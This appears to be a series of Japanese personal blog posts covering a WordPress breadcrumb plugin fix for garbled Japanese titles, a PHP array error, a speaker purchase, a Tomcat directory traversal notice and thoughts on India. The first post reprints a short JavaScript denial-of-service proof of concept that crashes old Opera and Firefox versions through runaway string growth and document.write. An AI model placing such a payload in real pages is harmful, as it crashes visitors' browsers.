Opera- v10.10, Firefox v3.5.7 Remote Denial of Service

以下のコードで、Opera- v10.10とFirefox v3.5.7が落ちるみたい。

<body onload="javascript:DOS();"></body>

<script>
 
function DOS() {
 
var buffer = 'A';
for (i =0;i<150;i++) {
buffer+=buffer+'A';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>

Windows XP Firefox 3.5.7 で開くと見事に落ちました。

Breadcrumb Navigation XTのposttitle_maxlenオプションの注意点

Wordpressパンくずリストを表示させる際に便利なプラグインが、Breadcrumb Navigation XTです。

記事のタイトルが長すぎたときにデザインがくずれるので、
posttitle_maxlenというオプションで文字数を指定してやるのですが、
例:

<?php
$mybreadcrumb = new breadcrumb_navigation_xt;
$mybreadcrumb->opt['posttitle_maxlen'] = 80;
?>

日本語タイトルをこのオプションで切り取ると、文字化けしてしまいます。
それの解決法です。

wp-content/plugins/breadcrumb-navigation-xt/breadcrumb-navigation-xt.php
を開いて、

<?php
if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) )  
    $bcn_post_title = substr($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...';
?>

の部分を

<?php
if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) )  
    $bcn_post_title = mb_strimwidth($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...';
?>

と書き直すことで(マルチバイト文字列関数 (mbstring)がインストールされていれば)解決します。


...とここまでやって気づいたのですが、
Breadcrumb Navigation XTの日本語版があったようですね。
ただ、日本語版でも同じオプションがあるのですが、
やはり文字化けしてしまいました。
作者の方、直してくれないですかねぇ・・・?

Fatal error: [] operator not supported for strings の対処方法

<?php
foreach($results as $key => $row) {
    $post_type[] = $row->post_type;
    $post_parent[] = $row->post_parent;
}
?>

こんな感じで配列にプッシュしていくコードを書いていると、
上記のエラーが出る場合があるが、
変数を配列として初期化することで解決する

<?php
$post_type = array();
$post_parent = array();
foreach($results as $key => $row) {
    $post_type[] = $row->post_type;
    $post_parent[] = $row->post_parent;
}
?>

PC用スピーカー買った

PCのスピーカーを探していて、価格コムで売れ筋ナンバー1の商品(ロジクール 2.1chスピーカー ブラック Z-4R)を買いました。

価格コムでの送料込みの最安値はラディカルベースでの6,960円(送料無料)だったのですが、
実際に注文してみると、代引き手数料が+500円され7,460円になっちゃいます。


Amazonならクレジットカードで払え、6,986円で買えます。
もちろん国内送料無料。

Apache Tomcat にディレクトリトラバーサルの脆弱性

影響を受けるバージョン

影響を受けないバージョン

対策方法

Tomcat をアップグレードするか、allowLinking 属性を無効にし、URIEncoding を UTF8 にしない。

今さらながら、インドが凄い件について

NHKスペシャル「インドの衝撃」

これは結構刺激になる。
http://video.google.com/videoplay?docid=-8960593568071128585

インド人のハングリーさはすごい

インド人みたいに、多くの人が「金持ちになってやる」というハングリー精神をもって、
それを国が支えるような仕組みになっていれば、こういう風に発展していくんだろうか。


なんだかんだ言って日本に住んでいれば、インド人のように強い志を持っていなくてもある程度の暮らしはできるわけで。


「貧乏だから頭脳で勝負」
IT業界はPCひとつと回線さえあれば、世界へ挑戦できる。

インド人に負けないように勉強をしなければ、と刺激を受けた。